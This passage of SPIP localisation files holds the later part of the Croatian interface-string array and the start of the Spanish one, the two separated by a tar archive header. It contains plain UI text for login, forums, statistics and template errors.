'form_prop_indiquer_nom_site' => 'Unesite ime web stranica.',
'form_prop_indiquer_sujet' => 'Unesite temu',
'form_prop_message_envoye' => 'Poruka poslana',
'form_prop_non_enregistre' => 'Vaš prijedlog nije upamćen.',
'form_prop_sujet' => 'Tema',
'form_prop_url_site' => 'URL web stranica',
'forum_non_inscrit' => 'Ili još niste registrirani ili je adresa ili lozinka netočna.',
'forum_par_auteur' => '- @auteur@',
'forum_titre_erreur' => 'Greška...',
// I
'ical_texte_rss_articles' => 'Adresa "backend"-datoteke sa člancima ovih web stranica je:',
'ical_texte_rss_articles2' => 'Također, možete pristupiti "backend"-datotekama sa člancima pojedinačnih rubrika ovih web stranica:',
'ical_texte_rss_breves' => 'Osim toga, tu je i datoteka koja sadrži vijesti ovih web stranica. Odabiranjem rubrike ćete dobiti samo vijesti iz te rubrike.',
'icone_a_suivre' => 'aktivnosti',
'icone_admin_site' => 'administriranje stranica',
'icone_agenda' => 'kalendar',
'icone_aide_ligne' => 'pomoć',
'icone_articles' => 'članci',
'icone_auteurs' => 'autori',
'icone_brouteur' => 'brzi pregled',
'icone_configuration_site' => 'konfiguracija',
'icone_configurer_site' => 'konfigurirajte Vaše stranice',
'icone_creer_nouvel_auteur' => 'dodati novog autora',
'icone_creer_rubrique' => 'dodati novu rubriku',
'icone_creer_sous_rubrique' => 'dodati novu podrubriku',
'icone_deconnecter' => 'odjava',
'icone_discussions' => 'diskusije',
'icone_doc_rubrique' => 'pridruženi dokumenti',
'icone_ecrire_article' => 'napisati novi članak',
'icone_edition_site' => 'uređivanje stranica',
'icone_gestion_langues' => 'podešavanje jezika',
'icone_informations_personnelles' => 'osobni podaci',
'icone_interface_complet' => 'potpuni interface',
'icone_interface_simple' => 'pojednostavljeni interface',
'icone_maintenance_site' => 'održavanje web stranica',
'icone_messagerie_personnelle' => 'osobne poruke',
'icone_repartition_debut' => 'prikazati raspodjelu od početka',
'icone_rubriques' => 'rubrike',
'icone_sauver_site' => 'sigurnosna kopija web stranica',
'icone_site_entier' => 'sve web stranice',
'icone_sites_references' => 'preporučene web stranice',
'icone_statistiques' => 'statistika web stranica',
'icone_suivi_activite' => 'praćenje aktivnosti na web stranicama',
'icone_suivi_actualite' => 'statistika web stranica',
'icone_suivi_pettions' => 'upravljanje peticijama',
'icone_suivi_revisions' => 'revizije članaka',
'icone_supprimer_document' => 'obrisati ovaj dokument',
'icone_supprimer_image' => 'obrisati ovu sliku',
'icone_tous_articles' => 'svi Vaši članci',
'icone_tous_auteur' => 'svi autori',
'icone_tous_visiteur' => 'Svi posjetitelji',
'icone_visiter_site' => 'posjetiti web stranice',
'icone_voir_en_ligne' => 'promatrati on-line',
'img_indisponible' => 'slika nije na raspolaganju',
'impossible' => 'nije moguće',
'info_a_suivre' => 'AKTIVNOSTI»',
'info_acces_interdit' => 'pristup zabranjen',
'info_acces_refuse' => 'pristup odrečen',
'info_action' => 'aktivnost: @action@',
'info_administrer_rubriques' => 'Možete obrađivati ovu rubriku i njene podrubrike',
'info_adresse_non_indiquee' => 'Niste odredili adresu za testiranje!',
'info_aide' => 'POMOĆ:',
'info_ajouter_mot' => 'dodati ovu ključnu riječ',
'info_annonce' => 'OBJAVA',
'info_annonces_generales' => 'opće objave:',
'info_article_propose' => 'predložen članak',
'info_article_publie' => 'objavljen članak',
'info_article_redaction' => 'članak u obradi',
'info_article_refuse' => 'odbačen članak',
'info_article_supprime' => 'obrisan članak',
'info_articles' => 'članci',
'info_articles_a_valider' => 'članci za provjeru',
'info_articles_nb' => '@nb@ articles',
'info_articles_proposes' => 'podnešeni članci',
'info_articles_un' => '1 članak',
'info_auteurs_nombre' => 'autor(i):',
'info_authentification_ftp' => 'provjera identiteta (kroz FTP).',
'info_breves_2' => 'vijesti',
'info_breves_nb' => '@nb@ kratke vijesti',
'info_breves_un' => '1 kratke vijesti',
'info_connexion_refusee' => 'priključenje odbijeno',
'info_contact_developpeur' => 'Stupite u vezu s programerom.',
'info_contenance' => 'Ove stranice sadrže:',
'info_contribution' => 'forumski prilozi',
'info_copyright' => '@spip@ je besplatan softver u smislu @lien_gpl@.',
'info_copyright_doc' => 'Za daljnje informacije, vidi <a href="@spipnet@">http://www.spip.net</a>.',
'info_copyright_gpl' => 'GPL dozvole',
'info_cours_edition' => 'Vaši članci u obradi',
'info_creer_repertoire' => 'Napravite datoteku ili direktorij sa imenom:',
'info_creer_repertoire_2' => 'u poddirektoriju <b>@repertoire@</b>, i onda',
'info_creer_vignette' => 'automatska izrada male sličice',
'info_creerdansrubrique_non_autorise' => 'Nemate dovoljne ovlasti kako biste dodali sadržaj u ovu rubriku',
'info_deplier' => 'otvoriti',
'info_descriptif_nombre' => 'opis(i):',
'info_description' => 'opis:',
'info_description_2' => 'opis:',
'info_dimension' => 'veličina:',
'info_documents_nb' => '@nb@ dokumenti',
'info_documents_un' => '1 dokument',
'info_ecire_message_prive' => 'napisati privatnu poruku',
'info_email_invalide' => 'nepostojeća mail adresa.',
'info_en_cours_validation' => 'Vaši članci u obradi',
'info_en_ligne' => 'trenutačno on-line (priključeni):',
'info_envoyer_message_prive' => 'poslati privatnu poruku ovom autoru',
'info_erreur_requete' => 'greška u zahtjevu:',
'info_erreur_squelette2' => 'predložak <b>@fichier@</b> ne stoji na raspolaganju...',
'info_erreur_systeme' => 'greška u sistemu (broj @errsys@)',
'info_erreur_systeme2' => 'Disk je pun ili je baza podataka oštećena. <br />
<span style="color:red;">pokušajte <a href=\'@script@\'>popraviti bazu podataka</a>, ili stupite u vezu sa Vašim pružateljem usluga.</span>',
'info_fini' => 'učinjeno!',
'info_format_image' => 'format za stvaranje malih sličica: @gd_formats@.',
'info_format_non_defini' => 'nejasan format',
'info_grand_ecran' => 'veliki ekran',
'info_image_aide' => 'POMOĆ',
'info_image_process_titre' => 'kako izraditi male sličice',
'info_impossible_lire_page' => '<b>Greška!</b> Stranica <tt><html>@test_proxy@</html></tt> nije mogla biti pročitana preko proxy - računala',
'info_installation_systeme_publication' => 'instalacija redakcijskog sistema...',
'info_installer_documents' => 'Možete automatski instalirati sve dokumente koji se nalaze u direktoriju @upload@.',
'info_installer_ftp' => 'Kao administrator, možete (pomoću FTP) snimiti datoteke u direktorij @upload@, da biste ih poslije ovdje birali.',
'info_installer_images' => 'Možete instalirati slike u formatima JPEG, GIF ili PNG.',
'info_installer_images_dossier' => 'Snimite slike u direktorij @upload@ da bi ste ih poslije ovdje mogli odabrati.',
'info_interface_complete' => 'cjelokupni interface',
'info_interface_simple' => 'pojednostavljeni interface',
'info_joindre_document_article' => 'Vašem članku možete pridružiti dokumente tipova',
'info_joindre_document_rubrique' => 'Ovoj rubrici možete pridružiti dokumente tipova',
'info_joindre_documents_article' => 'Vašem članku možete pridružiti dokumente tipova:',
'info_l_article' => 'članak',
'info_la_breve' => 'vijest',
'info_la_rubrique' => 'rubrika',
'info_langue_principale' => 'glavni jezik web stranica',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ točaka',
'info_les_auteurs_1' => '- @les_auteurs@',
'info_logo_format_interdit' => 'Dozvoljeni su samo logotipovi formata @formats@.',
'info_logo_max_poids' => 'Veličina logotipa smije biti najviše @maxi@ (ova datoteka je veličine @actuel@).',
'info_mail_fournisseur' => 'vašeime@poslužitelj.hr',
'info_message_2' => 'PORUKA',
'info_message_supprime' => 'PORUKA OBRISANA',
'info_messages_nb' => '@nb@ poruka',
'info_messages_un' => '1 poruka',
'info_mise_en_ligne' => 'datum objavljivanja:',
'info_modification_parametres_securite' => 'promjena sigurnosnih parametara',
'info_mois_courant' => 'tjekom mjeseca:',
'info_mot_cle_ajoute' => 'slijedeća ključna riječ je pridodana',
'info_multi_herit' => 'uobičajeni jezik',
'info_multi_langues_soulignees' => '<u>Podvučeni jezici</u> sadrže potpun prijevod svih djelova sučelja. Odaberete li jedan od tih jezika, mnogi dijelovi javnog dijela weba će biti pisani tim jezikom (datumi, obrasci). Pri odabiru jezika koji nisu podvučeni će ti dijelovi biti pisani na glavnom jeziku weba.',
'info_multilinguisme' => 'višejezično',
'info_nom_non_utilisateurs_connectes' => 'Vaše ime se ne pojavljuje u listi spojenih korisnika.',
'info_nom_utilisateurs_connectes' => 'Vaše ime se pojavljuje u listi spojenih korisnika.',
'info_nombre_en_ligne' => 'trenutačno spojeni korisnici:',
'info_non_resultat' => 'nema rezultata za "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Vi ne koristite interne poruke na ovim web stranicama.',
'info_nouveau_message' => 'IMATE NOVU PORUKU',
'info_nouveaux_messages' => 'IMATE @total_messages@ NOVIH PORUKA',
'info_numero_abbreviation' => 'ne',
'info_obligatoire' => 'Ova informacija je neophodna',
'info_pense_bete' => 'BILJEŠKA',
'info_petit_ecran' => 'mali ekran',
'info_petition_close' => 'Peticija zatvorena',
'info_pixels' => 'točke',
'info_plusieurs_mots_trouves' => 'nekoliko ključnih riječi je pronađeno za "@cherche_mot@":',
'info_portfolio_automatique' => 'automatska mapa:',
'info_premier_resultat' => '[@debut_limit@ prvih rezultata od ukupno @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ prvih rezultata od ukupno @total@]',
'info_propose_1' => '[@nom_site_spip@] predloženo od: @titre@',
'info_propose_2' => 'predložen članak
-----------------',
'info_propose_3' => 'članak "@titre@" je podnešen za objavljivanje.',
'info_propose_4' => 'pozvani ste pregledati ga i dati Vaše mišljenje',
'info_propose_5' => 'u odgovarajućem forumu. Nalazi se na adresi:',
'info_publie_01' => 'Članak "@titre@" je odobren od @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] OBJAVLJENO: @titre@',
'info_publie_2' => 'članak objavljen
-----------------',
'info_rechercher' => 'pretraga',
'info_rechercher_02' => 'pretraga:',
'info_remplacer_vignette' => 'Zamjenite standardnu sličicu sa Vašim logotipom:',
'info_rubriques_nb' => '@nb@ rubrike',
'info_rubriques_un' => '1 rubrika',
'info_sans_titre_2' => 'bez naslova',
'info_selectionner_fichier' => 'možete odabrati datoteku iz direktorija @upload@',
'info_selectionner_fichier_2' => 'odaberite datoteku:',
'info_sites_nb' => '@nb@ web stranica',
'info_sites_un' => '1 web stranica',
'info_supprimer_vignette' => 'obrisati sličicu',
'info_symbole_bleu' => 'Simbol <b>plave boje</b> označava <b>bilješku</b>: tojest poruku za Vašu osobnu upotrebu.',
'info_symbole_jaune' => 'Simbol <b>žute boje</b> označava <b>objavu svim autorima</b>: mogu je mijenjati svi administratori, a vidljiva je za sve autore.',
'info_symbole_vert' => 'Simbol <b>zelene boje</b> označava <b>poruke razmjenjene sa drugim korisnicima</b> web sajta.',
'info_telecharger_nouveau_logo' => 'otpremiti novi logotip:',
'info_telecharger_ordinateur' => 'otpremiti sa Vašeg računala:',
'info_tous_resultats_enregistres' => '[svi rezultati su obuhvaćeni]',
'info_tout_afficher' => 'pokazati sve',
'info_travaux_texte' => 'Ove web stranice još nisu postavljene. Posjetite nas nešto kasnije...',
'info_travaux_titre' => 'web stranice u izgradnji',
'info_trop_resultat' => 'previše rezultata za "@cherche_mot@"; molimo preciznije podatke.',
'info_utilisation_messagerie_interne' => 'Vi koristite interne poruke na ovom sajtu.',
'info_valider_lien' => 'odobriti ovaj link',
'info_verifier_image' => ', molimo provjerite da li su Vaše slike uspješno prenešene.',
'info_vignette_defaut' => 'standardna sličica',
'info_vignette_personnalisee' => 'prilagođena sličica',
'info_visite' => 'posjeta:',
'info_vos_rendez_vous' => 'Vaše zakazane obveze',
'infos_vos_pense_bete' => 'Vaše bilješke',
// L
'label_ajout_id_rapide' => 'Brzo dodavanje',
'label_poids_fichier' => 'Veličina',
'lien_afficher_icones_seuls' => 'prikazati samo sličice',
'lien_afficher_texte_icones' => 'prikazati sličice i tekst',
'lien_afficher_texte_seul' => 'prikazati samo tekst',
'lien_liberer' => 'odobriti',
'lien_liberer_tous' => 'odobriti ove članke',
'lien_nouvea_pense_bete' => 'NOVA BILJEŠKA',
'lien_nouveau_message' => 'NOVA PORUKA',
'lien_nouvelle_annonce' => 'NOVA OBJAVA',
'lien_petitions' => 'PETICIJA',
'lien_popularite' => 'popularnost: @popularite@%',
'lien_racine_site' => 'KORIJEN WEBA',
'lien_reessayer' => 'pokušati ponovo',
'lien_repondre_message' => 'odgovoriti na ovu poruku',
'lien_supprimer' => 'obrisati',
'lien_tout_afficher' => 'pokazati sve',
'lien_visite_site' => 'posjetiti ove web stranice',
'lien_visites' => '@visites@ posjeta',
'lien_voir_auteur' => 'prikazati ovog autora',
'ligne' => 'Linija',
'login' => 'Spajanje',
'login_acces_prive' => 'pristup redakcijskom sistemu',
'login_autre_identifiant' => 'prijava pod drugim imenom',
'login_cookie_accepte' => 'molimo, podesite Vaš browser da ih prihvati (barem za ove web stranice).',
'login_cookie_oblige' => 'da biste se pouzdano identificirali, Vaš browser mora prihvatiti cookie.',
'login_deconnexion_ok' => 'odjavljen.',
'login_erreur_pass' => 'pogrešna lozinka.',
'login_espace_prive' => 'redakcijski sistem',
'login_identifiant_inconnu' => 'korisnik "@login@" je nepoznat.',
'login_login' => 'prijava:',
'login_login2' => 'prijava (korisničko ime za pristup web stranicama):',
'login_login_pass_incorrect' => '(pogrešno korisničko ime ili lozinka).',
'login_motpasseoublie' => 'zaboravljena lozinka?',
'login_non_securise' => 'Oprez, ovaj formular nije siguran.
Ako želite da Vaša lozinka bude nevidljiva u mreži,
molimo aktivirajte JavaScript u Vašem browseru i',
'login_nouvelle_tentative' => 'novi pokušaj',
'login_par_ici' => 'Vi ste registrirani... idite ovamo...',
'login_pass2' => 'lozinka:',
'login_preferez_refuser' => '<b>Ako ne želite primiti cookie</b>, postoji drugi (manje siguran) način za spajanje:',
'login_recharger' => 'osvježiti ovu stranicu',
'login_rester_identifie' => 'upamti moj identitet nekoliko dana',
'login_retour_public' => 'natrag u javni dio weba',
'login_retour_site' => 'natrag u javni dio weba',
'login_retoursitepublic' => 'natrag u javni dio weba',
'login_sans_cookiie' => 'identifikacija bez cookie',
'login_securise' => 'Sigurnosna prijava',
'login_sinscrire' => 'prijava',
'login_test_navigateur' => 'ispitivanje browsera / ponovno spajanje',
'login_verifiez_navigateur' => '(međutim, provjerite da li je Vaš browser možda upamtio Vašu lozinku...)',
// M
'masquer_colonne' => 'Sakriti ovaj stupac',
'masquer_trad' => 'sakriti prijevode',
'module_fichiers_langues' => 'jezične datoteke',
// N
'navigateur_pas_redirige' => 'Ako Vas Vaš browser ne odvede dalje, kliknite ovdje za nastavak.',
'numero' => 'Broj',
// O
'occurence' => 'Instanca',
'onglet_affacer_base' => 'obrisati bazu podataka',
'onglet_auteur' => 'autor',
'onglet_contenu_site' => 'sadržaj weba',
'onglet_evolution_visite_mod' => 'razvitak posjeta',
'onglet_fonctions_avances' => 'napredne fukcije',
'onglet_informations_personnelles' => 'osobne informacije',
'onglet_interactivite' => 'interaktivnost',
'onglet_messagerie' => 'sistem za poruke',
'onglet_repartition_rubrique' => 'raspodjela po rubrikama',
'onglet_save_restaur_base' => 'snimiti / povratiti bazu podataka',
'onglet_vider_cache' => 'isprazniti cache',
// P
'pass_choix_pass' => 'unesite Vašu novu lozinku:',
'pass_erreur' => 'greška',
'pass_erreur_acces_refuse' => '<b>greška:</b> Vi nemate više pristup ovim web stranicama.',
'pass_erreur_code_inconnu' => '<b>greška:</b> ova oznaka ne odgovara niti jednom korisniku ovih web stranica.',
'pass_erreur_non_enregistre' => '<b>greška:</b> adresa <tt>@email_oubli@</tt> nije registrirana na ovim web stranicama.',
'pass_erreur_non_valide' => '<b>greška:</b> mail adresa <tt>@email_oubli@</tt> je neispravna!',
'pass_erreur_probleme_technique' => '<b>greška:</b> ovaj mail nije mogao biti poslan zbog tehničkih poteškoća.',
'pass_espace_prive_bla' => 'Redakcijski sistem je otvoren samo za registrirane korisnike.
Kad se registrirate, možete pregledati članke u obradi,
pisati nove članke i sudjelovati u svim forumima.',
'pass_forum_bla' => 'Zatražili ste sudjelovanje u forumu koji je
rezerviran samo za registrirane korisnike.',
'pass_indiquez_cidessous' => 'Unesite dolje mail adresu sa kojom se ste
ranije registrirali. Nakon toga ćete
dobiti mail sa uputama kako da ponovo
dobijete pristup.',
'pass_mail_passcookie' => '(ovo je automatska poruka)
Da biste ponovo dobili pristup web stranicama
@nom_site_spip@ (@adresse_site@)
idite na slijedeću adresu:
@sendcookie@
Tada možete unijeti novu lozinku i
ponovo dobiti pristup web stranicama.
',
'pass_mot_oublie' => 'lozinka zaboravljena',
'pass_nouveau_enregistre' => 'Vaša nova lozinka je upamćena.',
'pass_nouveau_pass' => 'nova lozinka',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'lozinka zaboravljena',
'pass_procedure_changer' => 'Kako bismo promjenili vašu lozinku, moramo prvo provjeriti vaš identitet. Stoga nam morate navesti mail adresu pridruženu vašem korisničkom računu.',
'pass_quitter_fenetre' => 'napustiti ovaj prozor',
'pass_rappel_login' => 'podsjetnik: Vaše korisničko ime za prijavu (login) je "@login@".',
'pass_recevoir_mail' => 'Primit ćete mail sa uputama za povrat pristupa web stranicama.',
'pass_retour_public' => 'natrag u javno područje weba',
'pass_rien_a_faire_ici' => 'ovdje se nema što raditi.',
'pass_vousinscrire' => 'registrirati se na web stranicama',
'precedent' => 'prethodno',
'previsualisation' => 'provjeriti izgled',
'previsualiser' => 'pokazati izgled',
// R
'retour' => 'Povratak',
// S
'spip_conforme_dtd' => 'SPIP nalazi da je ova stranica u skladu sa njenim DOCTYPE:',
'squelette' => 'predložak',
'squelette_inclus_ligne' => 'sadržani predložak, linija',
'squelette_ligne' => 'predložak, linija',
'stats_visites_et_popularite' => 'posjete: @visites@; popularnost: @popularite@',
'suivant' => 'slijedeće',
// T
'taille_go' => '@taille@ Gb',
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Kad upoznate interface, kliknite na «',
'texte_actualite_site_2' => 'potpuni interface',
'texte_actualite_site_3' => '» da biste vidjeli više mogućnosti.',
'texte_creation_automatique_vignette' => 'Ovaj web automatski pravi male sličice. Ako pomoću ovog formulara instalirate slike formata @gd_formats@, od njih će biti automatski napravljene i male sličice veličine maksimalno @taille_preview@ točaka.',
'texte_documents_associes' => 'Slijedeći dokumenti pripadaju članku, ali nisu direkno uključeni u njega. Ovisno o izgledu javnog područja weba, oni se mogu tamo vidjeti kao pridruženi dokumenti.',
'texte_erreur_mise_niveau_base' => 'Greška u bazi podataka prilikom unapređenja verzije.
Slika <b>@fichier@</b> nije mogla biti preuzeta (članak @id_article@).<p>
Brižljivo zabilježite ove oznake, i zatim ponovo pokušajte unaprediti verziju.
Nakon toga provjerite da li se slike pojavljuju u člancima.',
'texte_erreur_visiteur' => 'Pokušali ste pristupiti privatnoj dijelu koristeći login koji to ne dozvoljava.',
'texte_inc_auth_1' => 'Vi se ste predstavili korisničkim imenom
<b>@auth_login@</b>, ali to korisničko ime ne postoji (više) u bazi podataka.
Pokušajte',
'texte_inc_auth_2' => 'se ponovo spojiti',
'texte_inc_auth_3' => ', nakon što ste zatvorili i ponovno pokrenuli Vaš browser.',
'texte_inc_config' => 'Izmjene u slijedećim podešavanjima imaju veliki utjecaj na funkcioniranje ovih web stranica. Savjetujemo Vam da ništa ne mijenjate, osim ako dobro poznajete ustrojstvo programa
SPIP. <br /><br /><b>Uopćeno rečeno, izričito vam savjetujemo da izmjene prepustite glavnom administratoru web stranica.</b>',
'texte_inc_meta_1' => 'Dogodila se greška prilikom pokušaja pisanja datoteke <code>@fichier@</code>. Ako ste Vi administrator, molim da',
'texte_inc_meta_2' => 'dozvole pristupa',
'texte_inc_meta_3' => 'za direktorij <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'obrada u toku',
'texte_statut_poubelle' => 'obrisano',
'texte_statut_propose_evaluation' => 'podnešeno na provjeru',
'texte_statut_publie' => 'objavljeno',
'texte_statut_refuse' => 'odbačeno',
'titre_ajouter_mot_cle' => 'DODATI KLJUČNU RIJEČ:',
'titre_cadre_raccourcis' => 'PREČACI:',
'titre_changer_couleur_interface' => 'promjena boje interface-a',
'titre_image_admin_article' => 'Vi možete upravljati ovim člankom',
'titre_image_administrateur' => 'administrator',
'titre_image_aide' => 'pomoć za ovu stavku',
'titre_image_auteur_supprime' => 'autor obrisan',
'titre_image_redacteur' => 'autor bez pristupa',
'titre_image_redacteur_02' => 'autor',
'titre_image_selecteur' => 'Prikazati popis',
'titre_image_visiteur' => 'posjetitelj',
'titre_joindre_document' => 'PRIDRUŽITI DOKUMENT',
'titre_mots_cles' => 'KLJUČNE RIJEČI',
'titre_probleme_technique' => 'Upozorenje: tehnički problem (SQL poslužitelj) onemogućava pristup ovom dijelu weba. Hvala na razumijevanju.',
'titre_publier_document' => 'OBJAVITI DOKUMENT U OVOJ RUBRICI',
'titre_signatures_attente' => 'Potpisi koji čekaju na potvrdu',
'titre_signatures_confirmees' => 'Potvrđeni potpisi',
'titre_statistiques' => 'statistika web stranica',
'titre_titre_document' => 'naslov dokumenta:',
'todo' => 'u pripremi',
'trad_reference' => '(referentni članak)',
// Z
'zbug_balise_b_aval' => ': tag B se mora nalaziti prije petlje',
'zbug_balise_inexistante' => 'greška @from@: oznaka @balise@ ne postoji',
'zbug_balise_sans_argument' => 'Nedostaje parametar u oznaci @balise@',
'zbug_boucle' => 'petlja',
'zbug_boucle_recursive_undef' => 'nedefinirana rekurzivna petlja: @nom@',
'zbug_calcul' => 'proračun',
'zbug_champ_hors_boucle' => 'polje @champ@ van petlje',
'zbug_champ_hors_motif' => 'polje @champ@ van pripadajućeg konteksta (petlje) @motif@',
'zbug_code' => 'kod',
'zbug_critere_inconnu' => 'nepoznati kriterij @critere@',
'zbug_critere_sur_table_sans_cle_primaire' => '{@critere@} na tablici bez primarnog ključa',
'zbug_distant_interdit' => 'vanjski podaci zabranjeni',
'zbug_doublon_table_sans_cle_primaire' => 'Dvostruki zapisi u tablici koja ne posjeduje jednostavan primarni ključ',
'zbug_doublon_table_sans_index' => 'Dvostruki zapisi u tablici bez indeksa',
'zbug_erreur_boucle_double' => 'Petlja @id@: dvostruka definicija',
'zbug_erreur_boucle_fermant' => 'Petlja @id@: nedostaje zatvarajuća oznaka',
'zbug_erreur_boucle_syntaxe' => 'Nevaljana sintaksa petlje (BOUCLE) ',
'zbug_erreur_compilation' => 'Greška pri kompilaciji',
'zbug_erreur_execution_page' => 'Greška pri izvršenju',
'zbug_erreur_filtre' => 'Nedefiniran filter @filtre@',
'zbug_erreur_meme_parent' => '{meme_parent} je primjenljiv samo na (FORUMS) i (RUBRIQUES)',
'zbug_erreur_squelette' => 'greška (greške) u predlošku (template)',
'zbug_hors_compilation' => 'Nije kompilirano',
'zbug_info_erreur_squelette' => 'greška na web stranicama',
'zbug_inversion_ordre_inexistant' => 'Preokretanje nepostojećeg poretka',
'zbug_pagination_sans_critere' => 'Oznaka #PAGINATION bez kriterija {pagination}, ili korištena u rekurzivnoj petlji',
'zbug_parametres_inclus_incorrects' => 'Pogrešni parametri uključivanja: @param@',
'zbug_profile' => 'Vrijeme računanja: @time@',
'zbug_resultat' => 'rezultat',
'zbug_serveur_indefini' => 'SQL poslužitelj nedefiniran',
'zbug_statistiques' => 'Statistika SQL upita po redoslijedu trajanja',
'zbug_table_inconnue' => 'nepoznata SQL tabela "@table@"',
'zxml_connus_attributs' => 'poznata svojstva',
'zxml_de' => 'od',
'zxml_inconnu_attribut' => 'nepoznato svojstvo',
'zxml_inconnu_balise' => 'nepoznata oznaka',
'zxml_inconnu_entite' => 'nepoznati entitet',
'zxml_inconnu_id' => 'nepoznat ID',
'zxml_mais_de' => 'ali od',
'zxml_non_conforme' => 'ne odgovara načelu',
'zxml_non_fils' => 'nije dijete od',
'zxml_nonvide_balise' => 'oznaka nije prazna',
'zxml_obligatoire_attribut' => 'traženo svojstvo nedostaje u',
'zxml_succession_fils_incorrecte' => 'pogrešno naslijeđivanje',
'zxml_survoler' => 'da biste vidjeli ispravne, postavite kursor iznad ',
'zxml_valeur_attribut' => 'vrijednost svojstva',
'zxml_vide_balise' => 'prazna oznaka',
'zxml_vu' => 'već viđeno'
);
?>
spip_es.php 0000666 00000113154 15252547432 0006741 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=es
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-es',
'0_langue' => 'español [es]',
'0_liste' => 'spip-es@rezo.net',
'0_mainteneur' => 'spip-dev@rezo.net',
// A
'access_interface_graphique' => 'Volver a la interfaz gráfica completa',
'access_mode_texte' => 'Mostrar la interfaz simplificada en modo texto',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Modificar este artículo',
'admin_modifier_auteur' => 'Modificar esta autora o autor',
'admin_modifier_breve' => 'Modificar esta breve',
'admin_modifier_mot' => 'Modificar esta palabra clave',
'admin_modifier_rubrique' => 'Modificar esta sección',
'admin_recalculer' => 'Actualizar esta página',
'afficher_calendrier' => 'Ver el calendario',
'afficher_trad' => 'mostrar las traducciones',
'alerte_maj_impossible' => '<<b>¡Alerta!</b> La actualización de la base SQL a la versión @version@ es imposible, quizás por un problema de derechos de modificación de la base de datos. Por favor, contacta a tu hospedaje.',
'alerte_modif_info_concourante' => 'ATENCIÓN: Esta información fue modificada por otro lado. El valor actual es:',
'analyse_xml' => 'Análisis XML',
'annuler' => 'Cancelar',
'antispam_champ_vide' => 'Por favor, deje este campo vacío :',
'articles_recents' => 'Los artículos más recientes',
'avis_archive_incorrect' => 'El archivo de respaldo no es un archivo SPIP.',
'avis_archive_invalide' => 'el archivo de respaldo no es válido',
'avis_attention' => '¡ATENCIÓN!',
'avis_champ_incorrect_type_objet' => 'Nombre de campo incorrecto @name@ para objeto de tipo @type@',
'avis_colonne_inexistante' => 'La columna @col@ no existe',
'avis_erreur' => 'Error: ver aqui abajo',
'avis_erreur_connexion' => 'Error de conexión',
'avis_erreur_cookie' => 'problema de cookie ',
'avis_erreur_fonction_contexte' => 'Error de programación. No se debe llamar a esta función en este contexto.',
'avis_erreur_mysql' => 'Error SQL',
'avis_erreur_sauvegarde' => 'Error al hacer la copia de respaldo (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Probleme de acceso al espacio privado',
// B
'barre_a_accent_grave' => 'Insertar una A mayúscula con acento grave',
'barre_aide' => 'Utiliza los atajos tipográficos para mejorar la paginación',
'barre_e_accent_aigu' => 'Insertar una E mayúscula con tilde',
'barre_eo' => 'Insertar una E en la O',
'barre_eo_maj' => 'Insertar una E en la O mayúscula',
'barre_euro' => 'Insertar el símbolo €',
'barre_gras' => 'Poner en {{negrita}}',
'barre_guillemets' => 'Poner entre «comillas»',
'barre_guillemets_simples' => 'Poner entre comillas de segundo nivel”',
'barre_intertitre' => 'Transformar en {{{inter-título}}}',
'barre_italic' => 'Poner en {cursiva}',
'barre_lien' => 'Transformar en [enlace hipertexto->http://...]',
'barre_lien_input' => 'Indica la dirección de tu enlace. Puedes indicar un dirección web bajo la forma http://www.talsitio.org/carpeta/ o simplemente indicar el número de un artículo de este sitio.',
'barre_note' => 'Transformar en [[Nota de pié de página]]',
'barre_paragraphe' => 'Crear un párrafo',
'barre_quote' => '<quote>Citar un mensaje</quote>',
'bouton_changer' => 'Cambiar',
'bouton_chercher' => 'Buscar',
'bouton_choisir' => 'Elegir',
'bouton_deplacer' => 'Mover',
'bouton_download' => 'Descargar',
'bouton_enregistrer' => 'Guardar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la mensajería interna',
'bouton_radio_envoi_annonces' => 'Enviar anuncios editoriales',
'bouton_radio_non_envoi_annonces' => 'No enviar anuncios',
'bouton_radio_non_envoi_liste_nouveautes' => 'No enviar la lista de novedades',
'bouton_recharger_page' => 'Actualizar esta página',
'bouton_telecharger' => 'Descargar',
'bouton_upload' => 'Subir',
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tarde',
'cal_jour_entier' => 'día entero',
'cal_matin' => 'mañana',
'cal_par_jour' => 'calendario por día',
'cal_par_mois' => 'calendario por mes',
'cal_par_semaine' => 'calendario por semana',
'choix_couleur_interface' => 'color',
'choix_interface' => 'Selección de la interfase',
'colonne' => 'Columna',
'confirm_changer_statut' => 'Cuidado, estás cambiando el estado de este elemento. ¿Lo confirmas?',
'correcte' => 'correcta',
// D
'date_aujourdhui' => 'hoy',
'date_avant_jc' => 'aC',
'date_dans' => 'en @delai@',
'date_de_mois_1' => '@j@ de @nommois@',
'date_de_mois_10' => '@j@ de @nommois@',
'date_de_mois_11' => '@j@ de @nommois@',
'date_de_mois_12' => '@j@ de @nommois@',
'date_de_mois_2' => '@j@ de @nommois@',
'date_de_mois_3' => '@j@ de @nommois@',
'date_de_mois_4' => '@j@ de @nommois@',
'date_de_mois_5' => '@j@ de @nommois@',
'date_de_mois_6' => '@j@ de @nommois@',
'date_de_mois_7' => '@j@ de @nommois@',
'date_de_mois_8' => '@j@ de @nommois@',
'date_de_mois_9' => '@j@ de @nommois@',
'date_demain' => 'mañana',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ a las @heure@',
'date_fmt_jour_heure_debut_fin' => 'el @jour@ de las @heure_debut@ a las @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'el @dtstart@@jour@ de las @heure_debut@@dtabbr@ a las @dtstart@@heure_fin@@dtend@',
